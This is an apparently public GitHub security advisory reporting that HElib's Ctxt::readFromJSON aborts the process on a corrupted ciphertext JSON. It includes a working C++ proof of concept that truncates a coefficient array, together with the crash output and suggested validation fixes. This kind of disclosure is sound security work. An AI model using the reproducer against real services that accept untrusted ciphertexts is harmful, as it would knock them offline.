Skip to content

[Security] Ctxt::readFromJSON aborts on malformed serialized ciphertext JSON (CWE-755, DoS) #526

Description

@afldl

HElib: Ctxt::readFromJSON aborts on malformed serialized ciphertext JSON (DoS)

Reporter: afldl
Date: 2026-07-24
Affected: HElib 2.2.0 (NTL 11.5.1), and likely earlier versions
Severity: Low (DoS; no memory corruption demonstrated)
CWE: CWE-755 (Improper Handling of Exceptional Conditions)

Summary

Feeding a field-corrupted serialized ciphertext JSON to the public API helib::Ctxt::readFromJSON causes NTL to throw SetLength: can't change this vector's length and call abort(), terminating the entire process. This is not a catchable C++ exception — the caller's try/catch cannot intercept it. In deployments where serialized FHE ciphertexts come from untrusted peers (threshold FHE, FHE-as-a-service, cross-party ciphertext exchange), this is a remotely triggerable denial of service.

The same JSON deserialization framework is used by PubKey::readFromJSON and SecKey::readFromJSON, which are likely affected as well.

Root cause

HElib is built on NTL, which handles fatal errors (e.g., calling SetLength to change a fixed-length vector to a different length) by calling Error()abort() rather than throwing a C++ exception. Ctxt::readFromJSON parses dimension/size fields from the JSON and uses them to construct/SetLength NTL vectors. When those fields are corrupted to values inconsistent with the context's fixed dimensions (phim, etc.), NTL triggers a fatal SetLength error and aborts.

Proof of Concept (self-contained)

Build against HElib 2.2.0 + NTL 11.5.1 (e.g. vcpkg install helib or build from source):

// repro_helib_abort.cpp
// g++ -std=c++17 -O1 repro_helib_abort.cpp -lhelib -lntl -lgmp -o repro && ./repro
#include <helib/helib.h>
#include <sstream>
#include <iostream>

int main() {
    // Build a minimal BGV context
    helib::Context context(
        helib::ContextBuilder<helib::BGV>().m(4095).p(131).r(1).bits(120).c(2).build());
    helib::SecKey sk(context);
    sk.GenSecKey();
    const helib::PubKey& pk = sk;

    // Create a valid ciphertext and serialize to JSON
    const helib::EncryptedArray& ea = context.getEA();
    helib::Ptxt<helib::BGV> ptxt(context);
    for (long i = 0; i < ea.size(); i++) ptxt[i] = (long)(i % 131);
    helib::Ctxt ct(pk);
    pk.Encrypt(ct, ptxt);

    std::stringstream ss;
    ct.writeToJSON(ss);
    std::string valid_json = ss.str();

    // Corrupt the JSON: change the first numeric array length to an inconsistent value.
    // In the valid JSON, "parts":[{...}] contains DoubleCRT coefficient arrays whose
    // length must match phim (from m=4095). Changing any of these array lengths to a
    // different value triggers NTL's fatal SetLength error.
    //
    // Minimal corruption: find the first '[' after "map": and truncate/extend it.
    // Here we simply truncate the first coefficient array to 3 elements (vs ~1920 expected):
    size_t map_pos = valid_json.find("\"map\":[[");
    if (map_pos == std::string::npos) {
        std::cerr << "Cannot find map array in JSON\n";
        return 1;
    }
    // Find the closing ']' of the first inner array
    size_t arr_start = valid_json.find('[', map_pos + 7);
    size_t arr_end = valid_json.find(']', arr_start);
    // Replace the inner array content with just 3 elements
    std::string corrupted = valid_json.substr(0, arr_start + 1)
                          + "1,2,3"
                          + valid_json.substr(arr_end);

    // Feed corrupted JSON to readFromJSON — expect clean rejection
    // Actual: NTL abort() with "SetLength: can't change this vector's length"
    std::cout << "[*] Feeding corrupted ciphertext JSON to Ctxt::readFromJSON..." << std::endl;
    std::cout << "[*] Expected: catchable exception (std::invalid_argument / helib::Error)" << std::endl;
    std::cout << "[*] Actual (bug): NTL fatal error -> abort(), exit code 134" << std::endl;

    std::stringstream corrupt_ss(corrupted);
    try {
        helib::Ctxt ct2 = helib::Ctxt::readFromJSON(corrupt_ss, pk);
        std::cout << "[!] No exception — unexpected" << std::endl;
    } catch (const std::exception& e) {
        std::cout << "[*] Caught exception (correct behavior): " << e.what() << std::endl;
        return 0;
    }
    // If we reach here without abort, the bug is not present
    std::cout << "[*] No crash — not vulnerable" << std::endl;
    return 0;
}

Expected output (correct behavior): a catchable exception is thrown.
Actual output (bug):

[*] Feeding corrupted ciphertext JSON to Ctxt::readFromJSON...
[*] Expected: catchable exception (std::invalid_argument / helib::Error)
[*] Actual (bug): NTL fatal error -> abort(), exit code 134
SetLength: can't change this vector's length
Aborted (core dumped)

Exit code 134 = SIGABRT. The caller's try/catch never fires because NTL calls abort() directly.

Suggested fix

  1. After parsing dimension/size fields in readFromJSON, validate them against the context's fixed dimensions (phim, ciphertext component count, etc.). On mismatch, throw a catchable HElib exception (helib::Error / std::invalid_argument) instead of letting NTL abort.
  2. More generally, establish a "validate-before-construct" boundary for all deserialization entry points handling untrusted input, ensuring no NTL fatal error escapes as abort().

Credit

Reported by zhangph (afldl), 2026-07.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions